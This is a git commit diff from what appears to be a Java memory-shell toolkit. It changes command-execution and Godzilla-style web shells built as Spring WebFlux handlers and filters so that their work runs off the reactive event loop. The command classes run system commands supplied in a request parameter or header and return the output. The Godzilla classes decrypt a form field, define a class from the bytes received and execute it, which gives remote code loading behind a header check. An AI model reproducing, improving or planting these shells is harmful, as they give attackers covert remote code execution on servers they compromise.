fix: webfilter and handler broken business

This commit is contained in:
ReaJason
2026-08-25 22:08:36 +08:00
parent f962da2807
commit 77acbf0bf5
6 changed files with 133 additions and 104 deletions
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.util.Optional;
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
if (p == null || p.isEmpty()) {
p = request.headers().firstHeader(paramName);
}
String result = "";
try {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
final String paramValue = p;
Mono<String> resultMono = Mono.fromCallable(() -> {
String result = "";
try {
if (paramValue != null) {
String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
}
} catch (Throwable e) {
e.printStackTrace();
}
return ServerResponse.ok().body(Mono.just(result), String.class);
return result;
}).subscribeOn(Schedulers.boundedElastic());
return ServerResponse.ok().body(resultMono, String.class);
}
private String getParam(String param) {
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.util.Scanner;
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
if (p == null || p.isEmpty()) {
p = exchange.getRequest().getHeaders().getFirst(paramName);
}
String result = "";
try {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
final String paramValue = p;
Mono<String> resultMono = Mono.fromCallable(() -> {
String result = "";
try {
if (paramValue != null) {
String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
}
} catch (Throwable e) {
e.printStackTrace();
}
return ResponseEntity.ok(result);
return result;
}).subscribeOn(Schedulers.boundedElastic());
return ResponseEntity.ok(resultMono);
}
private String getParam(String param) {
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
@@ -26,15 +27,20 @@ public class CommandWebFilter implements WebFilter {
if (p == null) {
return chain.filter(exchange);
}
String param = getParam(p);
String result = "";
try {
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
} catch (Throwable e) {
e.printStackTrace();
}
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
final String paramValue = p;
return Mono.fromCallable(() -> {
String param = getParam(paramValue);
String result = "";
try {
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
} catch (Throwable e) {
e.printStackTrace();
}
return result;
}).subscribeOn(Schedulers.boundedElastic())
.flatMap(result -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
}
private String getParam(String param) {
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.util.MultiValueMap;
import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -35,33 +37,36 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
if (value == null || !value.contains(headerValue)) {
return Mono.empty();
}
Object bufferStream = request.formData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
Mono<String> bufferStream = request.formData()
.flatMap(map -> Mono.fromCallable(() -> process(map, request))
.subscribeOn(Schedulers.boundedElastic()));
return ServerResponse.ok().body(bufferStream, String.class);
}
private String process(MultiValueMap<String, String> map, ServerRequest request) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.http.ResponseEntity;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -33,33 +35,37 @@ public class GodzillaHandlerMethod extends ClassLoader {
if (value == null || !value.contains(headerValue)) {
return ResponseEntity.notFound().build();
}
Object bufferStream = exchange.getFormData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
Mono<String> bufferStream = exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()));
return ResponseEntity.ok(bufferStream);
}
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
@@ -1,12 +1,12 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -39,35 +39,36 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange);
}
return exchange.getResponse().writeWith(getPost(exchange));
return exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()))
.flatMap(bytes -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
}
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
return formData.flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(exchange.getRequest());
f.equals(data);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
result.append(getErrorMessage(e));
private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(exchange.getRequest());
f.equals(data);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});
} catch (Throwable e) {
e.printStackTrace();
result.append(getErrorMessage(e));
}
return result.toString().getBytes(StandardCharsets.UTF_8);
}
@SuppressWarnings("all")